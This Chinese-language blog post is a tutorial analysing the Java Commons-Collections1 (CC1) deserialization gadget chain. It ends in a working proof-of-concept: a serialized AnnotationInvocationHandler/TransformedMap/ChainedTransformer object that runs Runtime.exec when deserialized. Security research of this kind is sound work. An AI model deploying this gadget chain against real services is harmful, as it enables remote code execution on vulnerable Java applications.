Featured image of post java反序列化之Commons-Collections1-CC1链

java反序列化之Commons-Collections1-CC1链

java链子之cc1链

链尾InvokerTransformer.transform

存在invoke,执行危险函数

1
2
3
4
5
Runtime runtime = Runtime.getRuntime();
Class c = Runtime.class;
Method method = c.getDeclaredMethod("exec",String.class);
method.invoke(runtime,"calc");
和runtime通过反射弹计算器很像,而且参数都可控

一一对应,调用transform()方法将Runtime对象传入,相当于反射了执行exec危险函数

1
2
3
4
5
6
7
8
Runtime runtime = Runtime.getRuntime();
Class c = Runtime.class;
//Method method = c.getDeclaredMethod("exec",String.class);
//method.invoke(runtime,"calc");
//以上是runtime的弹计算器操作
//public构造方法,无需反射
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
invokerTransformer.transform(runtime);

找到链尾,继续找transform的同方法不同调用类

TransformedMap.checkValue()触发transformer

圈的就是还是同样的transformer类的transform方法

下划线的就是新的类的transform方法

其中 TransformedMap 类中存在 checkSetValue() 方法调用了 transform() 方法。

接下来我们去看一看 valueTransformer.checkSetValuevalueTransformer 是什么东西,最终在 TransformedMap 的构造函数中发现了 valueTransformer

  • 因为 TransformedMap 的构造方法作用域是 protected,我们还需要去找一找谁调用了 TransformedMap 的构造方法。

decorate() 静态方法中创建了 TransformedMap 对象

InvokerTransformer继承了Transformer,所以decorate(Transformer valueTransformer)能传入InvokerTransformer对象

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
Runtime runtime = Runtime.getRuntime();
Class c = Runtime.class;
//Method method = c.getDeclaredMethod("exec",String.class);
//method.invoke(runtime,"calc");
//以上是runtime的弹计算器操作
 //public构造方法,无需反射
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
invokerTransformer.transform(runtime);
HashMap<Object,Object> map = new HashMap<>();
//protected构造方法,decorate静态方法能返回一个TransformedMap对象
Map decoratemap = TransformedMap.decorate(map,null,invokerTransformer);
//protected checkSetValue 要通过反射
Class<TransformedMap> transformedMapClass = TransformedMap.class;
Method method  = transformedMapClass.getDeclaredMethod("checkSetValue", Object.class);
method.setAccessible(true);
method.invoke(decoratemap,runtime);

成功弹计算器

继续找调用checkSetValue的不同类

AbstractInputCheckedMapDecorator.setValue触发checkSetValue

所以,我们在进行 .decorate 方法调用,进行 Map 遍历的时候,就会走到 setValue() 当中,而 setValue() 就会调用 checkSetValue

遍历调用checkSetValue的原理

1
2
3
4
for(Map.Entry entry:decoratemap.entrySet())
        {
            entry.setValue(runtime);
        }

AbstractInputCheckedMapDecoratorentrySet函数

isSetValueChecking()默认为真,返回一个EntrySet的类

this是指当前实例,也就是TransformedMap

此时参数(map.entrySet(),TransformedMap)

map.entrySet()返回由Map.Entry组成的原始集合

在EntrySet类中,迭代器使用了EntrySetInterator进行迭代

重写了迭代中会使用的next(),在这里就返回了MapEntry装饰的Map.Entry

从而调用<font style="color:rgb(33, 53, 71);">MapEntry类的setValue()函数</font>

开断点运行的流程

增强for循环工作原理如下:

获取迭代器:调用集合对象的 <font style="color:rgb(71, 101, 130);background-color:rgb(241, 241, 241);">iterator()</font> 方法,获取一个 <font style="color:rgb(71, 101, 130);background-color:rgb(241, 241, 241);">Iterator</font> 对象。

检查是否有下一个元素:调用 <font style="color:rgb(71, 101, 130);background-color:rgb(241, 241, 241);">Iterator</font> 对象的 <font style="color:rgb(71, 101, 130);background-color:rgb(241, 241, 241);">hasNext()</font> 方法,检查是否有下一个元素。

获取下一个元素:如果 <font style="color:rgb(71, 101, 130);background-color:rgb(241, 241, 241);">hasNext()</font> 返回 <font style="color:rgb(71, 101, 130);background-color:rgb(241, 241, 241);">true</font>,则调用 <font style="color:rgb(71, 101, 130);background-color:rgb(241, 241, 241);">Iterator</font> 对象的 <font style="color:rgb(71, 101, 130);background-color:rgb(241, 241, 241);">next()</font> 方法,获取下一个元素。

执行循环体:将获取的元素赋值给循环变量,并执行循环体。

这意味着每次循环实际上是在使用迭代器遍历集合。

即遍历调用setValue背后的详细步骤如下:

  1. 获取迭代器:增强型 <font style="color:rgb(71, 101, 130);background-color:rgb(241, 241, 241);">for</font> 循环隐式调用 <font style="color:rgb(71, 101, 130);background-color:rgb(241, 241, 241);">transformedMap.entrySet().iterator()</font>,获取 <font style="color:rgb(71, 101, 130);background-color:rgb(241, 241, 241);">Iterator</font> 对象。
  2. 检查是否有下一个元素:增强型 <font style="color:rgb(71, 101, 130);background-color:rgb(241, 241, 241);">for</font> 循环隐式调用 <font style="color:rgb(71, 101, 130);background-color:rgb(241, 241, 241);">Iterator</font> 对象的 <font style="color:rgb(71, 101, 130);background-color:rgb(241, 241, 241);">hasNext()</font> 方法。
  3. 获取下一个元素:如果 <font style="color:rgb(71, 101, 130);background-color:rgb(241, 241, 241);">hasNext()</font> 返回 <font style="color:rgb(71, 101, 130);background-color:rgb(241, 241, 241);">true</font>,增强型 <font style="color:rgb(71, 101, 130);background-color:rgb(241, 241, 241);">for</font> 循环隐式调用 <font style="color:rgb(71, 101, 130);background-color:rgb(241, 241, 241);">Iterator</font> 对象的 <font style="color:rgb(71, 101, 130);background-color:rgb(241, 241, 241);">next()</font> 方法。
  4. 执行循环体:将 <font style="color:rgb(71, 101, 130);background-color:rgb(241, 241, 241);">next()</font> 方法返回的元素赋值给 <font style="color:rgb(71, 101, 130);background-color:rgb(241, 241, 241);">entry</font> 变量,然后执行循环体中的 <font style="color:rgb(71, 101, 130);background-color:rgb(241, 241, 241);">entry.setValue(Runtime.class)</font><font style="color:rgb(39, 56, 73);">parent早就是TransformedMap</font>,所以自然会调用

<font style="color:rgb(39, 56, 73);">TransformedMap.checkSetValue</font>

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
HashMap<Object,Object> hashmap = new HashMap<>();
hashmap.put("123","456");
Map<Object,Object> decoratemap = TransformedMap.decorate(hashmap,null,invokerTransformer);

for(Map.Entry entry:decoratemap.entrySet())
{
entry.setValue(runtime);
}

成功弹计算器了

找readObject

找调用setValuereadObject入口类

这里的for (Map.Entry<String, Object> memberValue : memberValues.entrySet())

for(Map.Entry entry:decoratemap.entrySet())可以发现是一样的,只不过参数名称不同,

所以memberValues需要被赋值为TransformedMap

没有修饰符,说明不能直接new,要通过反射

1
2
3
4
Class clz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationclz = clz.getDeclaredConstructor(Class.class,Map.class);
annotationclz.setAccessible(true);
Object o = annotationclz.newInstance(Override.class,decoratemap);

理想状况下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import java.util.Map;

public class cc1Test {
public static void main(String[] args) throws  Exception{

Runtime runtime = Runtime.getRuntime();
Class c = Runtime.class;
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
HashMap<Object,Object> hashmap = new HashMap<>();
hashmap.put("123","456");
Map<Object,Object> decoratemap = TransformedMap.decorate(hashmap,null,invokerTransformer);
Class clz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationclz = clz.getDeclaredConstructor(Class.class,Map.class);
annotationclz.setAccessible(true);
Object o = annotationclz.newInstance(Override.class,decoratemap);

serialize(o);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
    ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
    oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
    ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
    Object obj = ois.readObject();
    return obj;
}
}

但是还有三个问题要解决

1.Runtime对象不可序列化,需要通过反射将其变成可以序列化的形式。

2.setValue() 的传参,是需要传 Runtime 对象的;而在实际情况当中的 setValue() 的传参是这个东西

3.解决上文提到的,要进入 setValue 的两个 if 判断

解决问题

1.Runtime不能序列化

Runtime 是不能序列化的,但是 Runtime.class 是可以序列化的。

1
2
3
4
Runtime r = Runtime.getRuntime();
Class c = Runtime.class;
Method method = c.getMethod("exec",String.class);
method.invoke(r,"calc");

<font style="color:rgb(80, 80, 92);">getRuntime()</font>也反射

1
2
3
4
5
6
7
Class c = Runtime.class;
Method  method = c.getMethod("getRuntime");
//getRuntime没有参数
Object object =(Runtime) method.invoke(null,null);
//这里相当于调用静态方法getRuntime,返回Runtime实例
Method method1 = c.getMethod("exec",String.class);
method1.invoke(object,"calc");

2.解决两个if条件

第一个if

打印一下就知道了

所以name就是键名

get是获取键名name的键值

AnnotationInvocationHandler的readObject内的<font style="color:rgb(71, 101, 130);background-color:rgb(241, 241, 241);">Class<?> memberType = memberTypes.get(name);</font>做了什么呢?就是取出注解类中为name的方法名。

因为先给的<font style="color:rgb(33, 53, 71);">Override</font>没有方法,所以<font style="color:rgb(33, 53, 71);">memberType</font>为null

但是Target有value方法,所以给如果name为value,<font style="color:rgb(33, 53, 71);">memberType</font>就为真

1
2
hashmap.put("value","456");
Object o = annotationclz.newInstance(Target.class,decoratemap);

debug能进入下面的代码

第二个if

调试的时候,已经给出value的值是键值了,这个if判断就是判断value是不是memberType 的实例,或者ExceptionProxy 的实例,不是就执行 if 语句块中的代码

这里put传键值随便传个123

3.解决setValue() 的传参

这里用到了ChainedTransformer

transform方法就是个反射的代码

所以不需要写那么多反射,这里直接每次都调用transform来反射

构造方法能看到传入的是Transformer数组

1
2
3
4
5
6
7
Transformer[] transformers = {
new InvokerTransformer("getMethod",new Class[]{String.class},new Object[]{"getRuntime"}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object.class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);

不是很看的懂

1
2
3
4
5
6
7
相当于把这些操作都揉和了
Class c = Runtime.class;
Method  method = c.getMethod("getRuntime");
Object object =(Runtime) method.invoke(null,null);
Method method1 = c.getMethod("exec",String.class);
method1.invoke(object,"calc");
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});

这里应该要传入TransformedMap的,但是限死了

看报错看得出来

ConstantTransformer类也有个transform方法,而且只会返回他固定的值

构造方法也简单,只需要传入一个类,这里传入Runtime.class

完整poc

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
        Transformer[] transformers = {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//        chainedTransformer.transform(Runtime.class);
//        System.out.println(transformers[0]);
        HashMap<Object,Object> hashmap = new HashMap<>();
        hashmap.put("value","456");
        Map<Object,Object> decoratemap = TransformedMap.decorate(hashmap,null,chainedTransformer);
        Class clz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotationclz = clz.getDeclaredConstructor(Class.class,Map.class);
        annotationclz.setAccessible(true);
        Object o = annotationclz.newInstance(Target.class,decoratemap);


        serialize(o);
        unserialize("ser.bin");

链子

1
2
3
4
5
ObjectInputStream.readObject()
  AnnotationInvocationHandler.readObject()
    MapEntry.setValue()
      TransformedMap.checkSetValue()
        ChainedTransformer.transform()

最后更新于 Mar 03, 2025 07:35 UTC
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计